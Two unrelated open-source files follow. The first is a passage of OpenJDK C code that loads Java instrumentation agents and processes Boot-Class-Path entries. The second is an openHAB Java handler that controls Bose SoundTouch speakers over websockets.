(appendClassPath(agent, jarfile)) { fprintf(stderr, "Unable to add %s to system class path " "- not supported by system class loader or configuration error!\n", jarfile); free(jarfile); if (options != NULL) free(options); freeAttributes(attributes); return AGENT_ERROR_NOTONCP; } /* * The value of the Agent-Class attribute becomes the agent * class name. The manifest is in UTF8 so need to convert to * modified UTF8 (see JNI spec). */ oldLen = (int)strlen(agentClass); newLen = modifiedUtf8LengthOfUtf8(agentClass, oldLen); /* * According to JVMS class name is represented as CONSTANT_Utf8_info, * so its length is u2 (i.e. must be <= 0xFFFF). * Negative oldLen or newLen means we got signed integer overflow * (modifiedUtf8LengthOfUtf8 returns negative value if oldLen is negative). */ if (oldLen < 0 || newLen < 0 || newLen > 0xFFFF) { fprintf(stderr, "Agent-Class value is too big\n"); free(jarfile); if (options != NULL) free(options); freeAttributes(attributes); return AGENT_ERROR_BADJAR; } if (newLen == oldLen) { agentClass = strdup(agentClass); } else { char* str = (char*)malloc( newLen+1 ); if (str != NULL) { convertUtf8ToModifiedUtf8(agentClass, oldLen, str, newLen); } agentClass = str; } if (agentClass == NULL) { free(jarfile); if (options != NULL) free(options); freeAttributes(attributes); return JNI_ENOMEM; } /* * If the Boot-Class-Path attribute is specified then we process * each URL - in the live phase only JAR files will be added. */ bootClassPath = getAttribute(attributes, "Boot-Class-Path"); if (bootClassPath != NULL) { appendBootClassPath(agent, jarfile, bootClassPath); } /* * Convert JAR attributes into agent capabilities */ convertCapabilityAttributes(attributes, agent); /* * Create the java.lang.instrument.Instrumentation instance */ success = createInstrumentationImpl(jni_env, agent); jplis_assert(success); /* * Setup ClassFileLoadHook handler. */ if (success) { success = setLivePhaseEventHandlers(agent); jplis_assert(success); } /* * Start the agent */ if (success) { success = startJavaAgent(agent, jni_env, agentClass, options, agent->mAgentmainCaller); } if (!success) { fprintf(stderr, "Agent failed to start!\n"); result = AGENT_ERROR_STARTFAIL; } /* * Clean-up */ free(jarfile); if (options != NULL) free(options); free(agentClass); freeAttributes(attributes); } return result; } JNIEXPORT void JNICALL DEF_Agent_OnUnload(JavaVM *vm) { } /** * Invoked by the java launcher to load an agent in the main executable JAR. * The Launcher-Agent-Class attribute in the main manifest of the JAR file * is the agent class. * * Returns JNI_OK if the agent is loaded and initialized; JNI_ERR if this * function fails, possibly with a pending exception. */ jint loadAgent(JNIEnv* env, jstring path) { JavaVM* vm; JPLISAgent* agent; const char* jarfile = NULL; jarAttribute* attributes = NULL; char* agentClass = NULL; char* bootClassPath; int oldLen, newLen; jint result = JNI_ERR; if ((*env)->GetJavaVM(env, &vm) < 0) { return JNI_ERR; } // create JPLISAgent with JVMTI environment if (createNewJPLISAgent(vm, &agent) != JPLIS_INIT_ERROR_NONE) { return JNI_ERR; } // get path to JAR file as UTF-8 string jarfile = (*env)->GetStringUTFChars(env, path, NULL); if (jarfile == NULL) { return JNI_ERR; } // read the attributes in the main section of JAR manifest attributes = readAttributes(jarfile); if (attributes == NULL) { goto releaseAndReturn; } // Launcher-Agent-Class is required agentClass = getAttribute(attributes, "Launcher-Agent-Class"); if (agentClass == NULL) { goto releaseAndReturn; } // The value of Launcher-Agent-Class is in UTF-8, convert it to modified UTF-8 oldLen = (int) strlen(agentClass); newLen = modifiedUtf8LengthOfUtf8(agentClass, oldLen); /* * According to JVMS class name is represented as CONSTANT_Utf8_info, * so its length is u2 (i.e. must be <= 0xFFFF). * Negative oldLen or newLen means we got signed integer overflow * (modifiedUtf8LengthOfUtf8 returns negative value if oldLen is negative). */ if (oldLen < 0 || newLen < 0 || newLen > 0xFFFF) { goto releaseAndReturn; } if (newLen == oldLen) { agentClass = strdup(agentClass); } else { char* str = (char*) malloc(newLen + 1); if (str != NULL) { convertUtf8ToModifiedUtf8(agentClass, oldLen, str, newLen); } agentClass = str; } if (agentClass == NULL) { jthrowable oome = createThrowable(env, "java/lang/OutOfMemoryError", NULL); if (oome != NULL) (*env)->Throw(env, oome); goto releaseAndReturn; } // Boot-Class-Path bootClassPath = getAttribute(attributes, "Boot-Class-Path"); if (bootClassPath != NULL) { appendBootClassPath(agent, jarfile, bootClassPath); } // Can-XXXX capabilities convertCapabilityAttributes(attributes, agent); // Create the java.lang.instrument.Instrumentation object if (!createInstrumentationImpl(env, agent)) { goto releaseAndReturn; } // Enable the ClassFileLoadHook if (!setLivePhaseEventHandlers(agent)) { goto releaseAndReturn; } // invoke the agentmain method if (!startJavaAgent(agent, env, agentClass, "", agent->mAgentmainCaller)) { goto releaseAndReturn; } // initialization complete result = JNI_OK; releaseAndReturn: if (agentClass != NULL) { free(agentClass); } if (attributes != NULL) { freeAttributes(attributes); } if (jarfile != NULL) { (*env)->ReleaseStringUTFChars(env, path, jarfile); } return result; } /* * JVMTI callback support * * We have two "stages" of callback support. * At OnLoad time, we install a VMInit handler. * When the VMInit handler runs, we remove the VMInit handler and install a * ClassFileLoadHook handler. */ void JNICALL eventHandlerVMInit( jvmtiEnv * jvmtienv, JNIEnv * jnienv, jthread thread) { JPLISEnvironment * environment = NULL; jboolean success = JNI_FALSE; environment = getJPLISEnvironment(jvmtienv); /* process the premain calls on the all the JPL agents */ if (environment == NULL) { abortJVM(jnienv, JPLIS_ERRORMESSAGE_CANNOTSTART ", getting JPLIS environment failed"); } jthrowable outstandingException = NULL; /* * Add the jarfile to the system class path */ JPLISAgent * agent = environment->mAgent; if (appendClassPath(agent, agent->mJarfile)) { fprintf(stderr, "Unable to add %s to system class path - " "the system class loader does not define the " "appendToClassPathForInstrumentation method or the method failed\n", agent->mJarfile); free((void *)agent->mJarfile); abortJVM(jnienv, JPLIS_ERRORMESSAGE_CANNOTSTART ", appending to system class path failed"); } free((void *)agent->mJarfile); agent->mJarfile = NULL; outstandingException = preserveThrowable(jnienv); success = processJavaStart( environment->mAgent, jnienv); restoreThrowable(jnienv, outstandingException); /* if we fail to start cleanly, bring down the JVM */ if ( !success ) { abortJVM(jnienv, JPLIS_ERRORMESSAGE_CANNOTSTART ", processJavaStart failed"); } } void JNICALL eventHandlerClassFileLoadHook( jvmtiEnv * jvmtienv, JNIEnv * jnienv, jclass class_being_redefined, jobject loader, const char* name, jobject protectionDomain, jint class_data_len, const unsigned char* class_data, jint* new_class_data_len, unsigned char** new_class_data) { JPLISEnvironment * environment = NULL; environment = getJPLISEnvironment(jvmtienv); /* if something is internally inconsistent (no agent), just silently return without touching the buffer */ if ( environment != NULL ) { jthrowable outstandingException = preserveThrowable(jnienv); transformClassFile( environment->mAgent, jnienv, loader, name, class_being_redefined, protectionDomain, class_data_len, class_data, new_class_data_len, new_class_data, environment->mIsRetransformer); restoreThrowable(jnienv, outstandingException); } } /* * URLs in Boot-Class-Path attributes are separated by one or more spaces. * This function splits the attribute value into a list of path segments. * The attribute value is in UTF8 but cannot contain NUL. Also non US-ASCII * characters must be escaped (URI syntax) so safe to iterate through the * value as a C string. */ static void splitPathList(const char* str, int* pathCount, char*** paths) { int count = 0; char** segments = NULL; char** new_segments; char* c = (char*) str; while (*c != '\0') { while (*c == ' ') c++; /* skip leading spaces */ if (*c == '\0') { break; } new_segments = (char**)realloc(segments, (count+1)*sizeof(char*)); if (new_segments == NULL) { jplis_assert(0); free(segments); count = 0; segments = NULL; break; } segments = new_segments; segments[count++] = c; c = strchr(c, ' '); if (c == NULL) { break; } *c = '\0'; c++; } *pathCount = count; *paths = segments; } /* URI path decoding - ported from src/share/classes/java/net/URI.java */ static int decodeNibble(char c) { if ((c >= '0') && (c <= '9')) return c - '0'; if ((c >= 'a') && (c <= 'f')) return c - 'a' + 10; if ((c >= 'A') && (c <= 'F')) return c - 'A' + 10; return -1; } static int decodeByte(char c1, char c2) { return (((decodeNibble(c1) & 0xf) << 4) | ((decodeNibble(c2) & 0xf) << 0)); } /* * Evaluates all escapes in s. Assumes that escapes are well-formed * syntactically, i.e., of the form %XX. * If the path does not require decoding the original path is * returned. Otherwise the decoded path (heap allocated) is returned, * along with the length of the decoded path. Note that the return * string will not be null terminated after decoding. */ static char *decodePath(const char *s, int* decodedLen) { int n; char *result; char *resultp; int c; int i; n = (int)strlen(s); if (n == 0) { *decodedLen = 0; return (char*)s; } if (strchr(s, '%') == NULL) { *decodedLen = n; return (char*)s; /* no escapes, we are done */ } resultp = result = calloc(n+1, 1); if (result == NULL) { *decodedLen = 0; return NULL; } c = s[0]; for (i = 0; i < n;) { if (c != '%') { *resultp++ = c; if (++i >= n) break; c = s[i]; continue; } for (;;) { char b1 = s[++i]; char b2 = s[++i]; int decoded = decodeByte(b1, b2); *resultp++ = decoded; if (++i >= n) break; c = s[i]; if (c != '%') break; } } *decodedLen = (int)(resultp - result); return result; // not null terminated. } /* * Append the given jar file to the system class path. This should succeed in the * onload phase but may fail in the live phase if the system class loader doesn't * support appending to the class path. */ static int appendClassPath( JPLISAgent* agent, const char* jarfile ) { jvmtiEnv* jvmtienv = jvmti(agent); jvmtiError jvmtierr; jvmtierr = (*jvmtienv)->AddToSystemClassLoaderSearch(jvmtienv, jarfile); check_phase_ret_1(jvmtierr); switch (jvmtierr) { case JVMTI_ERROR_NONE : return 0; case JVMTI_ERROR_CLASS_LOADER_UNSUPPORTED : fprintf(stderr, "System class loader does not define " "the appendToClassPathForInstrumentation method\n"); break; default: fprintf(stderr, "Unexpected error (%d) returned by " "AddToSystemClassLoaderSearch\n", jvmtierr); break; } return -1; } /* * res = func, free'ing the previous value of 'res' if function * returns a new result. */ #define TRANSFORM(res,func) { \ char* tmp = func; \ if (tmp != res) { \ free(res); \ res = tmp; \ } \ jplis_assert((void*)res != (void*)NULL); \ } /** * Convert a pathname to canonical form. * This method is exported from libjava. */ extern int Canonicalize(JNIEnv *unused, char *orig, char *out, int len); /* * This function takes the value of the Boot-Class-Path attribute, * splits it into the individual path segments, and then combines it * with the path to the jar file to create the path to be added * to the bootclasspath. * * Each individual path segment starts out as a UTF8 string. Additionally * as the path is specified to use URI path syntax all non US-ASCII * characters are escaped. Once the URI path is decoded we get a UTF8 * string which must then be converted to the platform encoding (as it * will be combined with the platform path of the jar file). Once * converted it is then normalized (remove duplicate slashes, etc.). * If the resulting path is an absolute path (starts with a slash for * example) then the path will be added to the bootclasspath. Otherwise * if it's not absolute then we get the canoncial path of the agent jar * file and then resolve the path in the context of the base path of * the agent jar. */ static void appendBootClassPath( JPLISAgent* agent, const char* jarfile, const char* pathList ) { char canonicalPath[MAXPATHLEN]; char *parent = NULL; int haveBasePath = 0; int count, i; char **paths; jvmtiEnv* jvmtienv = jvmti(agent); jvmtiError jvmtierr; /* * Split the attribute value into the individual path segments * and process each in sequence */ splitPathList(pathList, &count, &paths); for (i=0; i<count; i++) { int len; char* path; char* pos; /* * The path segment at this point is a pointer into the attribute * value. As it will go through a number of transformation (tossing away * the previous results as we go along) it make it easier if the path * starts out as a heap allocated string. */ path = strdup(paths[i]); jplis_assert(path != (char*)NULL); /* * The attribute is specified to be a list of relative URIs so in theory * there could be a query component - if so, get rid of it. */ pos = strchr(path, '?'); if (pos != NULL) { *pos = '\0'; } /* * Check for characters that are not allowed in the path component of * a URI. */ if (validatePathChars(path)) { fprintf(stderr, "WARNING: illegal character in Boot-Class-Path value: %s\n", path); free(path); continue; } /* * Next decode any escaped characters. The result is a UTF8 string. */ TRANSFORM(path, decodePath(path,&len)); /* * Convert to the platform encoding */ { char platform[MAXPATHLEN]; int new_len = convertUft8ToPlatformString(path, len, platform, MAXPATHLEN); free(path); if (new_len < 0) { /* bogus value - exceeds maximum path size or unable to convert */ continue; } path = strdup(platform); jplis_assert(path != (char*)NULL); } /* * Post-process the URI path - needed on Windows to transform * /c:/foo to c:/foo. */ TRANSFORM(path, fromURIPath(path)); /* * Normalize the path - no duplicate slashes (except UNCs on Windows), trailing * slash removed. */ TRANSFORM(path, normalize(path)); /* * If the path is an absolute path then add to the bootclassloader * search path. Otherwise we get the canonical path of the agent jar * and then use its base path (directory) to resolve the given path * segment. * * NOTE: JVMTI is specified to use modified UTF8 strings (like JNI). * In 1.5.0 the AddToBootstrapClassLoaderSearch takes a platform string * - see 5049313. */ if (isAbsolute(path)) { jvmtierr = (*jvmtienv)->AddToBootstrapClassLoaderSearch(jvmtienv, path); } else { char* resolved; if (!haveBasePath) { /* Use NULL as the JNIEnv since we know that Canonicalize does not use it. */ if (Canonicalize(NULL, (char*)jarfile, canonicalPath, sizeof(canonicalPath)) != 0) { fprintf(stderr, "WARNING: unable to canonicalize %s\n", jarfile); free(path); continue; } parent = basePath(canonicalPath); jplis_assert(parent != (char*)NULL); haveBasePath = 1; } resolved = resolve(parent, path); jvmtierr = (*jvmtienv)->AddToBootstrapClassLoaderSearch(jvmtienv, resolved); } /* print warning if boot class path not updated */ if (jvmtierr != JVMTI_ERROR_NONE) { check_phase_blob_ret(jvmtierr, free(path)); fprintf(stderr, "WARNING: %s not added to bootstrap class loader search: ", path); switch (jvmtierr) { case JVMTI_ERROR_ILLEGAL_ARGUMENT : fprintf(stderr, "Illegal argument or not JAR file\n"); break; default: fprintf(stderr, "Unexpected error: %d\n", jvmtierr); } } /* finished with the path */ free(path); } /* clean-up */ if (haveBasePath && parent != canonicalPath) { free(parent); } }
{ "pile_set_name": "Github" }
/** * Copyright (c) 2010-2020 Contributors to the openHAB project * * See the NOTICE file(s) distributed with this work for additional * information. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License 2.0 which is available at * http://www.eclipse.org/legal/epl-2.0 * * SPDX-License-Identifier: EPL-2.0 */ package org.openhab.binding.bosesoundtouch.internal.handler; import static org.openhab.binding.bosesoundtouch.internal.BoseSoundTouchBindingConstants.*; import java.io.IOException; import java.net.URI; import java.util.Arrays; import java.util.Collections; import java.util.Comparator; import java.util.List; import java.util.Objects; import java.util.concurrent.Future; import java.util.concurrent.ScheduledExecutorService; import java.util.concurrent.ScheduledFuture; import java.util.concurrent.TimeUnit; import java.util.stream.Collectors; import org.eclipse.jetty.websocket.api.Session; import org.eclipse.jetty.websocket.api.StatusCode; import org.eclipse.jetty.websocket.api.WebSocketFrameListener; import org.eclipse.jetty.websocket.api.WebSocketListener; import org.eclipse.jetty.websocket.api.extensions.Frame; import org.eclipse.jetty.websocket.api.extensions.Frame.Type; import org.eclipse.jetty.websocket.client.ClientUpgradeRequest; import org.eclipse.jetty.websocket.client.WebSocketClient; import org.openhab.binding.bosesoundtouch.internal.APIRequest; import org.openhab.binding.bosesoundtouch.internal.BoseSoundTouchConfiguration; import org.openhab.binding.bosesoundtouch.internal.BoseSoundTouchNotificationChannelConfiguration; import org.openhab.binding.bosesoundtouch.internal.BoseStateDescriptionOptionProvider; import org.openhab.binding.bosesoundtouch.internal.CommandExecutor; import org.openhab.binding.bosesoundtouch.internal.OperationModeType; import org.openhab.binding.bosesoundtouch.internal.PresetContainer; import org.openhab.binding.bosesoundtouch.internal.RemoteKeyType; import org.openhab.binding.bosesoundtouch.internal.XMLResponseProcessor; import org.openhab.core.library.types.DecimalType; import org.openhab.core.library.types.NextPreviousType; import org.openhab.core.library.types.OnOffType; import org.openhab.core.library.types.PercentType; import org.openhab.core.library.types.PlayPauseType; import org.openhab.core.library.types.StringType; import org.openhab.core.thing.Channel; import org.openhab.core.thing.ChannelUID; import org.openhab.core.thing.Thing; import org.openhab.core.thing.ThingStatus; import org.openhab.core.thing.ThingStatusDetail; import org.openhab.core.thing.ThingTypeUID; import org.openhab.core.thing.binding.BaseThingHandler; import org.openhab.core.thing.binding.ThingHandlerCallback; import org.openhab.core.thing.type.ChannelTypeUID; import org.openhab.core.types.Command; import org.openhab.core.types.RefreshType; import org.openhab.core.types.State; import org.openhab.core.types.StateOption; import org.slf4j.Logger; import org.slf4j.LoggerFactory; /** * The {@link BoseSoundTouchHandler} is responsible for handling commands, which are * sent to one of the channels. * * @author Christian Niessner - Initial contribution * @author Thomas Traunbauer - Initial contribution * @author Kai Kreuzer - code clean up * @author Alexander Kostadinov - Handling of websocket ping-pong mechanism for thing status check */ public class BoseSoundTouchHandler extends BaseThingHandler implements WebSocketListener, WebSocketFrameListener { private static final int MAX_MISSED_PONGS_COUNT = 2; private static final int RETRY_INTERVAL_IN_SECS = 30; private final Logger logger = LoggerFactory.getLogger(BoseSoundTouchHandler.class); private ScheduledFuture<?> connectionChecker; private WebSocketClient client; private volatile Session session; private volatile CommandExecutor commandExecutor; private volatile int missedPongsCount = 0; private XMLResponseProcessor xmlResponseProcessor; private PresetContainer presetContainer; private BoseStateDescriptionOptionProvider stateOptionProvider; private Future<?> sessionFuture; /** * Creates a new instance of this class for the {@link Thing}. * * @param thing the thing that should be handled, not null * @param presetContainer the preset container instance to use for managing presets * * @throws IllegalArgumentException if thing or factory argument is null */ public BoseSoundTouchHandler(Thing thing, PresetContainer presetContainer, BoseStateDescriptionOptionProvider stateOptionProvider) { super(thing); this.presetContainer = presetContainer; this.stateOptionProvider = stateOptionProvider; xmlResponseProcessor = new XMLResponseProcessor(this); } @Override public void initialize() { connectionChecker = scheduler.scheduleWithFixedDelay(() -> checkConnection(), 0, RETRY_INTERVAL_IN_SECS, TimeUnit.SECONDS); } @Override public void dispose() { if (connectionChecker != null && !connectionChecker.isCancelled()) { connectionChecker.cancel(true); connectionChecker = null; } closeConnection(); super.dispose(); } @Override public void handleRemoval() { presetContainer.clear(); super.handleRemoval(); } @Override public void updateState(String channelID, State state) { // don't update channel if it's not linked (in case of Stereo Pair slave device) if (isLinked(channelID)) { super.updateState(channelID, state); } else { logger.debug("{}: Skipping state update because of not linked channel '{}'", getDeviceName(), channelID); } } @Override public void handleCommand(ChannelUID channelUID, Command command) { if (commandExecutor == null) { logger.debug("{}: Can't handle command '{}' for channel '{}' because of not initialized connection.", getDeviceName(), command, channelUID); return; } else { logger.debug("{}: handleCommand({}, {});", getDeviceName(), channelUID, command); } if (command.equals(RefreshType.REFRESH)) { switch (channelUID.getIdWithoutGroup()) { case CHANNEL_BASS: commandExecutor.getInformations(APIRequest.BASS); break; case CHANNEL_KEY_CODE: // refresh makes no sense... ? break; case CHANNEL_NOWPLAYING_ALBUM: case CHANNEL_NOWPLAYING_ARTIST: case CHANNEL_NOWPLAYING_ARTWORK: case CHANNEL_NOWPLAYING_DESCRIPTION: case CHANNEL_NOWPLAYING_GENRE: case CHANNEL_NOWPLAYING_ITEMNAME: case CHANNEL_NOWPLAYING_STATIONLOCATION: case CHANNEL_NOWPLAYING_STATIONNAME: case CHANNEL_NOWPLAYING_TRACK: case CHANNEL_RATEENABLED: case CHANNEL_SKIPENABLED: case CHANNEL_SKIPPREVIOUSENABLED: commandExecutor.getInformations(APIRequest.NOW_PLAYING); break; case CHANNEL_VOLUME: commandExecutor.getInformations(APIRequest.VOLUME); break; default: logger.debug("{} : Got command '{}' for channel '{}' which is unhandled!", getDeviceName(), command, channelUID.getId()); } return; } switch (channelUID.getIdWithoutGroup()) { case CHANNEL_POWER: if (command instanceof OnOffType) { commandExecutor.postPower((OnOffType) command); } else { logger.debug("{}: Unhandled command type: {}: {}", getDeviceName(), command.getClass(), command); } break; case CHANNEL_VOLUME: if (command instanceof PercentType) { commandExecutor.postVolume((PercentType) command); } else { logger.debug("{}: Unhandled command type: {}: {}", getDeviceName(), command.getClass(), command); } break; case CHANNEL_MUTE: if (command instanceof OnOffType) { commandExecutor.postVolumeMuted((OnOffType) command); } else { logger.debug("{}: Unhandled command type: {}: {}", getDeviceName(), command.getClass(), command); } break; case CHANNEL_OPERATIONMODE: if (command instanceof StringType) { String cmd = command.toString().toUpperCase().trim(); try { OperationModeType mode = OperationModeType.valueOf(cmd); commandExecutor.postOperationMode(mode); } catch (IllegalArgumentException iae) { logger.warn("{}: OperationMode \"{}\" is not valid!", getDeviceName(), cmd); } } break; case CHANNEL_PLAYER_CONTROL: if ((command instanceof PlayPauseType) || (command instanceof NextPreviousType)) { commandExecutor.postPlayerControl(command); } else { logger.debug("{}: Unhandled command type: {}: {}", getDeviceName(), command.getClass(), command); } break; case CHANNEL_PRESET: if (command instanceof DecimalType) { commandExecutor.postPreset((DecimalType) command); } else { logger.debug("{}: Unhandled command type: {}: {}", getDeviceName(), command.getClass(), command); } break; case CHANNEL_BASS: if (command instanceof DecimalType) { commandExecutor.postBass((DecimalType) command); } else { logger.debug("{}: Unhandled command type: {}: {}", getDeviceName(), command.getClass(), command); } break; case CHANNEL_SAVE_AS_PRESET: if (command instanceof DecimalType) { commandExecutor.addCurrentContentItemToPresetContainer((DecimalType) command); } else { logger.debug("{}: Unhandled command type: {}: {}", getDeviceName(), command.getClass(), command); } break; case CHANNEL_KEY_CODE: if (command instanceof StringType) { String cmd = command.toString().toUpperCase().trim(); try { RemoteKeyType keyCommand = RemoteKeyType.valueOf(cmd); commandExecutor.postRemoteKey(keyCommand); } catch (IllegalArgumentException e) { logger.debug("{}: Unhandled remote key: {}", getDeviceName(), cmd); } } break; default: Channel channel = getThing().getChannel(channelUID.getId()); if (channel != null) { ChannelTypeUID chTypeUid = channel.getChannelTypeUID(); if (chTypeUid != null) { switch (channel.getChannelTypeUID().getId()) { case CHANNEL_NOTIFICATION_SOUND: String appKey = Objects.toString(getConfig().get(BoseSoundTouchConfiguration.APP_KEY), null); if (appKey != null && !appKey.isEmpty()) { if (command instanceof StringType) { String url = command.toString(); BoseSoundTouchNotificationChannelConfiguration notificationConfiguration = channel .getConfiguration() .as(BoseSoundTouchNotificationChannelConfiguration.class); if (!url.isEmpty()) { commandExecutor.playNotificationSound(appKey, notificationConfiguration, url); } } } else { logger.warn("Missing app key - cannot use notification api"); } return; } } } logger.warn("{} : Got command '{}' for channel '{}' which is unhandled!", getDeviceName(), command, channelUID.getId()); break; } } /** * Returns the CommandExecutor of this handler * * @return the CommandExecutor of this handler */ public CommandExecutor getCommandExecutor() { return commandExecutor; } /** * Returns the Session this handler has opened * * @return the Session this handler has opened */ public Session getSession() { return session; } /** * Returns the name of the device delivered from itself * * @return the name of the device delivered from itself */ public String getDeviceName() { return getThing().getProperties().get(DEVICE_INFO_NAME); } /** * Returns the type of the device delivered from itself * * @return the type of the device delivered from itself */ public String getDeviceType() { return getThing().getProperties().get(DEVICE_INFO_TYPE); } /** * Returns the MAC Address of this device * * @return the MAC Address of this device (in format "123456789ABC") */ public String getMacAddress() { return ((String) getThing().getConfiguration().get(BoseSoundTouchConfiguration.MAC_ADDRESS)).replaceAll(":", ""); } /** * Returns the IP Address of this device * * @return the IP Address of this device */ public String getIPAddress() { return (String) getThing().getConfiguration().getProperties().get(BoseSoundTouchConfiguration.HOST); } /** * Provides the handler internal scheduler instance * * @return the {@link ScheduledExecutorService} instance used by this handler */ public ScheduledExecutorService getScheduler() { return scheduler; } public PresetContainer getPresetContainer() { return this.presetContainer; } @Override public void onWebSocketConnect(Session session) { logger.debug("{}: onWebSocketConnect('{}')", getDeviceName(), session); this.session = session; commandExecutor = new CommandExecutor(this); updateStatus(ThingStatus.ONLINE); } @Override public void onWebSocketError(Throwable e) { logger.debug("{}: Error during websocket communication: {}", getDeviceName(), e.getMessage(), e); updateStatus(ThingStatus.OFFLINE, ThingStatusDetail.COMMUNICATION_ERROR, e.getMessage()); if (commandExecutor != null) { commandExecutor.postOperationMode(OperationModeType.OFFLINE); commandExecutor = null; } if (session != null) { session.close(StatusCode.SERVER_ERROR, getDeviceName() + ": Failure: " + e.getMessage()); session = null; } } @Override public void onWebSocketText(String msg) { logger.debug("{}: onWebSocketText('{}')", getDeviceName(), msg); try { xmlResponseProcessor.handleMessage(msg); } catch (Exception e) { logger.warn("{}: Could not parse XML from string '{}'.", getDeviceName(), msg, e); } } @Override public void onWebSocketBinary(byte[] arr, int pos, int len) { // we don't expect binary data so just dump if we get some... logger.debug("{}: onWebSocketBinary({}, {}, '{}')", getDeviceName(), pos, len, Arrays.toString(arr)); } @Override public void onWebSocketClose(int code, String reason) { logger.debug("{}: onClose({}, '{}')", getDeviceName(), code, reason); missedPongsCount = 0; updateStatus(ThingStatus.OFFLINE, ThingStatusDetail.COMMUNICATION_ERROR, reason); if (commandExecutor != null) { commandExecutor.postOperationMode(OperationModeType.OFFLINE); } } @Override public void onWebSocketFrame(Frame frame) { if (frame.getType() == Type.PONG) { missedPongsCount = 0; } } private synchronized void openConnection() { closeConnection(); try { client = new WebSocketClient(); // we need longer timeouts for web socket. client.setMaxIdleTimeout(360 * 1000); // Port seems to be hard coded, therefore no user input or discovery is necessary String wsUrl = "ws://" + getIPAddress() + ":8080/"; logger.debug("{}: Connecting to: {}", getDeviceName(), wsUrl); ClientUpgradeRequest request = new ClientUpgradeRequest(); request.setSubProtocols("gabbo"); client.setStopTimeout(1000); client.start(); sessionFuture = client.connect(this, new URI(wsUrl), request); } catch (Exception e) { onWebSocketError(e); } } private synchronized void closeConnection() { if (session != null) { try { session.close(StatusCode.NORMAL, "Binding shutdown"); } catch (Exception e) { logger.debug("{}: Error while closing websocket communication: {} ({})", getDeviceName(), e.getClass().getName(), e.getMessage()); } session = null; } if (sessionFuture != null && !sessionFuture.isDone()) { sessionFuture.cancel(true); } if (client != null) { try { client.stop(); client.destroy(); } catch (Exception e) { logger.debug("{}: Error while closing websocket communication: {} ({})", getDeviceName(), e.getClass().getName(), e.getMessage()); } client = null; } commandExecutor = null; } private void checkConnection() { if (getThing().getStatus() != ThingStatus.ONLINE || session == null || client == null || commandExecutor == null) { openConnection(); // try to reconnect.... } if (getThing().getStatus() == ThingStatus.ONLINE && this.session != null && this.session.isOpen()) { try { this.session.getRemote().sendPing(null); missedPongsCount++; } catch (IOException | NullPointerException e) { onWebSocketError(e); closeConnection(); openConnection(); } if (missedPongsCount >= MAX_MISSED_PONGS_COUNT) { logger.debug("{}: Closing connection because of too many missed PONGs: {} (max allowed {}) ", getDeviceName(), missedPongsCount, MAX_MISSED_PONGS_COUNT); missedPongsCount = 0; closeConnection(); openConnection(); } } } public void refreshPresetChannel() { List<StateOption> stateOptions = presetContainer.getAllPresets().stream().map(e -> e.toStateOption()) .sorted(Comparator.comparing(StateOption::getValue)).collect(Collectors.toList()); stateOptionProvider.setStateOptions(new ChannelUID(getThing().getUID(), CHANNEL_PRESET), stateOptions); } public void handleGroupUpdated(BoseSoundTouchConfiguration masterPlayerConfiguration) { String deviceId = getMacAddress(); if (masterPlayerConfiguration != null && masterPlayerConfiguration.macAddress != null) { // Stereo pair if (Objects.equals(masterPlayerConfiguration.macAddress, deviceId)) { if (getThing().getThingTypeUID().equals(BST_10_THING_TYPE_UID)) { logger.debug("{}: Stereo Pair was created and this is the master device.", getDeviceName()); } else { logger.debug("{}: Unsupported operation for player of type: {}", getDeviceName(), getThing().getThingTypeUID()); } } else { if (getThing().getThingTypeUID().equals(BST_10_THING_TYPE_UID)) { logger.debug("{}: Stereo Pair was created and this is NOT the master device.", getDeviceName()); updateThing(editThing().withChannels(Collections.emptyList()).build()); } else { logger.debug("{}: Unsupported operation for player of type: {}", getDeviceName(), getThing().getThingTypeUID()); } } } else { // NO Stereo Pair if (getThing().getThingTypeUID().equals(BST_10_THING_TYPE_UID)) { if (getThing().getChannels().isEmpty()) { logger.debug("{}: Stereo Pair was disbounded. Restoring channels", getDeviceName()); updateThing(editThing().withChannels(getAllChannels(BST_10_THING_TYPE_UID)).build()); } else { logger.debug("{}: Stereo Pair was disbounded.", getDeviceName()); } } else { logger.debug("{}: Unsupported operation for player of type: {}", getDeviceName(), getThing().getThingTypeUID()); } } } private List<Channel> getAllChannels(ThingTypeUID thingTypeUID) { ThingHandlerCallback callback = getCallback(); if (callback == null) { return Collections.emptyList(); } return CHANNEL_IDS.stream() .map(channelId -> callback.createChannelBuilder(new ChannelUID(getThing().getUID(), channelId), createChannelTypeUID(thingTypeUID, channelId)).build()) .collect(Collectors.toList()); } private ChannelTypeUID createChannelTypeUID(ThingTypeUID thingTypeUID, String channelId) { if (CHANNEL_OPERATIONMODE.equals(channelId)) { return createOperationModeChannelTypeUID(thingTypeUID); } return new ChannelTypeUID(BINDING_ID, channelId); } private ChannelTypeUID createOperationModeChannelTypeUID(ThingTypeUID thingTypeUID) { String channelTypeId = CHANNEL_TYPE_OPERATION_MODE_DEFAULT; if (BST_10_THING_TYPE_UID.equals(thingTypeUID) || BST_20_THING_TYPE_UID.equals(thingTypeUID) || BST_30_THING_TYPE_UID.equals(thingTypeUID)) { channelTypeId = CHANNEL_TYPE_OPERATION_MODE_BST_10_20_30; } else if (BST_300_THING_TYPE_UID.equals(thingTypeUID)) { channelTypeId = CHANNEL_TYPE_OPERATION_MODE_BST_300; } else if (BST_SA5A_THING_TYPE_UID.equals(thingTypeUID)) { channelTypeId = CHANNEL_TYPE_OPERATION_MODE_BST_SA5A; } else if (BST_WLA_THING_TYPE_UID.equals(thingTypeUID)) { channelTypeId = CHANNEL_TYPE_OPERATION_MODE_BST_WLA; } else if (BST_WSMS_THING_TYPE_UID.equals(thingTypeUID)) { channelTypeId = CHANNEL_TYPE_OPERATION_MODE_DEFAULT; } return new ChannelTypeUID(BINDING_ID, channelTypeId); } }
{ "pile_set_name": "Github" }
